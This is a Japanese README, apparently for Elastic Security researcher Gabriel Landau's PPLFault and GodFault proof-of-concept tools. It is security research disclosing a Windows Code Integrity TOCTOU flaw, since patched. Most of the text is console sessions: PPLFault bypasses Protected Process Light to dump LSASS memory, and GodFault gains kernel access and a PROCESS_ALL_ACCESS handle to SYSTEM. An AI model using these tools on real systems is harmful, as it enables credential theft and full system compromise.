
Code Integrity の TOCTOU を悪用して Protected Process Light をバイパスし、WinTcb-Light として実行して保護されたプロセス(例: LSASS)をダンプする Windows 権限昇格エクスプロイト。
著者: Gabriel Landau(Elastic Security)。
Black Hat Asia 2023 で発表された PPLdump は死んだ。PPLdump 万歳! より。
2024-02 更新: Microsoft は 2024 年 2 月 13 日に PPLFault にパッチを適用しました。関連する議論は このスレッド を参照してください。
Windows コード整合性の TOCTOU を悪用して、WinTcb-Light として任意のコード実行を実現し、指定されたプロセスをダンプします。エクスプロイトの詳細については、私の スライド または トーク を参照してください。
PS C:\Users\user\Desktop> cmd /c ver
Microsoft Windows [Version 10.0.25346.1001]
PS C:\Users\user\Desktop> tasklist | findstr lsass
lsass.exe 992 Services 0 76,620 K
PS C:\Users\user\Desktop> (Get-NtProcess -Access QueryLimitedInformation -Pid 992).Protection
Type Signer
---- ------
ProtectedLight Lsa
PS C:\Users\user\Desktop> dir *.dmp
PS C:\Users\user\Desktop> .\PPLFault.exe -v 992 lsass.dmp
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 528 bytes of shellcode written over DLL entrypoint
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\PPLFaultTemp\PPLFaultPayload.dll
[+] Placeholder: C:\PPLFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Dump saved to: lsass.dmp
[+] Dump is 74.9 MB
[+] Operation took 937 ms
PS C:\Users\user\Desktop> dir *.dmp
Directory: C:\Users\user\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/1/2023 11:18 AM 78581973 lsass.dmp
PPLFault と同じ TOCTOU を悪用します。ただし、プロセスのダンプの代わりに CSRSS に移行し、ANGRYORCHARD の win32k!NtUserHardErrorControlCall の脆弱性を悪用して、KTHREAD.PreviousMode を UserMode (1) から KernelMode (0) にデクリメントします。通常 UserMode からはアクセスできない \Device\PhysicalMemory を SECTION_ALL_ACCESS として開くことで、"God Mode" アクセスを証明します。
C:\Users\user\Desktop>GodFault.exe -v
[?] Server does not appear to be running. Attempting to install it...
[+] No cleanup necessary. Backup does not exist.
[+] GetShellcode: 2304 bytes of shellcode written over DLL entrypoint
[+] CSRSS PID is 772
[+] Benign: C:\Windows\System32\EventAggregation.dll.bak
[+] Payload: C:\GodFaultTemp\GodFaultPayload.dll
[+] Placeholder: C:\GodFaultTemp\EventAggregationPH.dll
[+] Acquired exclusive oplock to file: C:\Windows\System32\devobj.dll
[+] Testing initial ability to acquire PROCESS_ALL_ACCESS to System: Failure
[+] Ready. Spawning WinTcb.
[+] SpawnPPL: Waiting for child process to finish.
[+] FetchDataCallback called.
[+] Hydrating 90112 bytes at offset 0
[+] Switching to payload
[+] Emptying system working set
[+] Working set purged
[+] Give the memory manager a moment to think
[+] Hydrating 90112 PAYLOAD bytes at offset 0
[+] Thread 6248 (KTHREAD FFFFA283B0A62080) has been blessed
[+] Testing post-exploit ability to acquire PROCESS_ALL_ACCESS to System: Success
[+] Opened \Device\PhysicalMemory. Handle is 0x1b4
[+] Opened System process as PROCESS_ALL_ACCESS. Handle is 0x1c0
[+] Press any key to continue...
[+] No cleanup necessary. Backup does not exist.
CloudFilter API を使用せずに WinTcb-Light として任意のコード実行を実現する PoC です。python/README.md を参照してください。
| Windows 11 22H2 22621.1702(2023年5月) | Windows 11 Insider Canary 25346.1001(2023年4月) | |
|---|---|---|
| PPLFault | ✔️ | ✔️ |
| GodFault | ✔️ | ❌ Insider PreviousMode の緩和策 バグチェック |
PPLFault には ELv2 ライセンス が適用されます。SystemInformer の phnt を MIT ライセンス の下で使用しています。
Clément Labro による PPLdump に着想を得ています。この PPLdump は Microsoft が 2022 年 7 月にパッチを適用しました。
ANGRYORCHARD は Austin Hudson によって作成されました。彼は Microsoft が PPLdump にパッチを適用した際にこれをリリースしました。